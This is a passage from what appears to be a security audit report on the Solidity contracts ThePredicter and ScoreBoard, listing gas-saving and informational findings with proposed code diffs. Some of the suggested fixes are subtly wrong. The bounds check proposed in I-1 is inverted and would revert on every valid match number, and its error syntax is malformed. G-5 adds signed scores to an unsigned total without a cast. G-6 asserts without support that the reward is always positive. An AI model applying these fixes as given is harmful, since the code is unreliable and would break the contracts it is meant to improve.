-   for (uint256 i = 0; i < players.length; ++i) {
            int8 cScore = scoreBoard.getPlayerScore(players[i]);
            if (cScore > maxScore) maxScore = cScore;
            if (cScore > 0) totalPositivePoints += cScore;
        }
```

Caching the length of players array causes us to read from storage only once , saving us a lot of gas.

[G-5] `ThePredicter::withdraw` function contains a `totalPositivePoints` variable which declared as `int256` instead of `uint256` even though it will always remain >=0 , and later is converted to a `uint256` , wasting gas for no reason.

```
-   int256 totalPositivePoints = 0;
+   uint256 totalPositivePoints = 0;
    .
    .
    .
-   uint256 totalShares = uint256(totalPositivePoints);
    .
    .
    reward = maxScore < 0
            ? entranceFee
-           : (shares * players.length * entranceFee) / totalShares;
+           : (shares * players.length * entranceFee) /
   totalPositivePoints;
```

[G-6] `ThePredicter::withdraw` function has a redundant if statement

```
     if (reward > 0) {
            scoreBoard.clearPredictionsCount(msg.sender);
            (bool success, ) = msg.sender.call{value: reward}("");
            require(success, "Failed to withdraw");
        }
```

According to the function logic , reward will always be > 0 , so it is best to remove this conditional and implement the logic inside it anyways.

Informational

[I-1] The function `ScoreBoard::setResult` uses `matchNumber` (index of `results` array) as input , which may mistakenly be out of range

Description: `ScoreBoard::setResult` function has a input parameter called `matchNumber` which represents the index of the `results` array. We know Organiser isn't malicious but he may make a mistake of giving the index which is greater than or equal to the length of `results` array , which will revert.

Impact: Organiser might have to call `ScoreBoard::setResult` function again , causing him more gas.

Recommended Mitigation: Add a check to make sure the inputted index is in bounds, so even if transaction reverts , if reverts much earlier so Organiser can call it again and save gas.

```

+error ScoreBoard__InvalidMatchNumber;
.
.
.

function setResult(uint256 matchNumber, Result result) public onlyOwner {
+        if(matchNumber < NUM_MATCHES)
+        {
+            revert ScoreBoard__InvalidMatchNumber;
+        }
         results[matchNumber] = result;
    }
```

[I-2] The `Address` library has been imported in `ThePredicter` contract but not used anywhere

Recommended Mitigation: 1. Remove it

```
-    import {Address} from "@openzeppelin/contracts/utils/Address.sol";
     .
     .

     contract ThePredicter {
-    using Address for address payable;
     .
     .

     }
```

2. Use `Address::sendValue` function instead directly using `.call` method.

3 Instances - in `cancelRegistration` function

```
-   (bool success, ) = msg.sender.call{value: entranceFee}("");
-   require(success, "Failed to withdraw");
+   payable(msg.sender).sendValue(entranceFee);
```

- in `withdrawPredictionFees` function

```
-   (bool success, ) = msg.sender.call{value: fees}("");
-   require(success, "Failed to withdraw");
+   payable(msg.sender).sendValue(fees);
```

- in `withdraw` function

```
-   (bool success, ) = msg.sender.call{value: reward}("");
-   require(success, "Failed to withdraw");
+   payable(msg.sender).sendValue(reward);
```